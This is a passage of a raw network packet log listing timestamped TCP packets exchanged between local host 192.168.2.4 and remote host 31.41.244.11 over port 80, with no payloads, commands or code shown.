Nov 24, 2024 12:24:13.947396994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.947411060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.948276997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.948331118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.948362112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.948592901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.949177980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.949229956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.949300051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.949352980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.950107098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.950159073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.950207949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.950382948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.951018095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.951071024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.951113939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.951231003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.951939106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.952049017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.952105999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.953058958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.953183889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.953250885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.953774929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.953835011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.953846931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.954421043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.954691887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.954745054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.954819918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.954873085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.955598116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.955652952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.955698013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.955746889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.956507921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.956630945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.956655025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.956707954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.957568884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.957623005 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.957696915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.957748890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.958345890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.958400965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.958503008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.958556890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.959300041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.959348917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.959398985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.960196018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.960253000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.960289001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.961134911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.961191893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.961235046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.962002993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.962117910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.962150097 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.962179899 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.962930918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.963057041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.963057995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.963103056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.963836908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.963947058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.964009047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.964782953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.964878082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.964912891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.964942932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.965684891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.965756893 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.965763092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.965826988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.966619015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.966708899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.966767073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.967498064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.967638969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.967693090 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.968507051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.968558073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.968636990 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.969443083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.969495058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.969561100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.969608068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.970261097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.970328093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.970369101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.970463037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.971175909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.971239090 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.971271038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.971354008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.972134113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.972199917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.972253084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.973031044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.973287106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.973309994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.973380089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.973964930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.974024057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.974102974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.974150896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.974899054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.974999905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.975056887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.975770950 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.975878954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.975930929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.976689100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.976809025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.976861000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.977623940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.977695942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.977741003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.977791071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.978516102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.978648901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.978698969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:13.979367018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:13.982436895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.133080959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.133152008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.133183002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.133225918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.133536100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.133590937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.133641958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.133690119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.134495020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.134547949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.134593964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.134644985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.135353088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.135402918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.135447025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.135509968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.136254072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.136303902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.136382103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.136435032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.137224913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.137274981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.137315989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.137367964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.138092995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.138142109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.138206959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.138257980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.139008999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.139061928 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.139151096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.139202118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.139981031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.140028954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.140129089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.140177011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.140831947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.140882015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.140932083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.140981913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.141804934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.141858101 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.141897917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.141947985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.142714977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.142767906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.142844915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.142894983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.143594980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.143661022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.143703938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.143755913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.144509077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.144558907 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.144622087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.144680023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.145414114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.145483971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.145525932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.145576000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.146378040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.146429062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.146511078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.146559954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.147289991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.147396088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.147452116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.148269892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.148380041 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.148433924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.149096012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.149249077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.149302959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.150017023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.150078058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.150108099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.150206089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.150930882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.150981903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.151031971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.151082993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.151838064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.151892900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.151957035 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.152014017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.152739048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.152812958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.152817011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.152865887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.153681993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.153733969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.153886080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.153935909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.154589891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.154642105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.154691935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.154755116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.155509949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.155561924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.155669928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.155720949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.156444073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.156496048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.156536102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.156585932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.157356024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.157407999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.157605886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.157658100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.158265114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.158315897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.158382893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.158444881 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.159168959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.159220934 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.159265995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.159339905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.160142899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.160202026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.160259008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.160310030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.161014080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.161084890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.161142111 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.161195993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.161928892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.161983967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.162055969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.162110090 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.162848949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.162970066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.162998915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.163048983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.163779020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.163841963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.163916111 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.163966894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.164710045 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.164772034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.164829969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.164880037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.165669918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.165725946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.165816069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.165874004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.166528940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.166583061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.166654110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.166708946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.167455912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.167510986 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.167573929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.167623043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.168371916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.168422937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.168553114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.168606997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.169259071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.169312954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.169369936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.169421911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.170229912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.170285940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.170361996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.170422077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.171103954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.171164036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.171219110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.171267033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.172024965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.172080040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.172249079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.172298908 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.172924042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.173036098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.173059940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.173110008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.173860073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.173922062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.173995972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.174052000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.174760103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.174817085 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.174873114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.174922943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.175656080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.175712109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.175767899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.175817966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.176583052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.176639080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.176708937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.176764011 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.177473068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.177531004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.177588940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.177639961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.178415060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.178461075 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.178523064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.178567886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.179287910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.179332972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.179394960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.179440022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.180229902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.180274963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.180407047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.180453062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.181122065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.181164980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.334633112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:14.334712982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:14.334741116 CET	80	49765	31.41.244.11	192.168.2.4
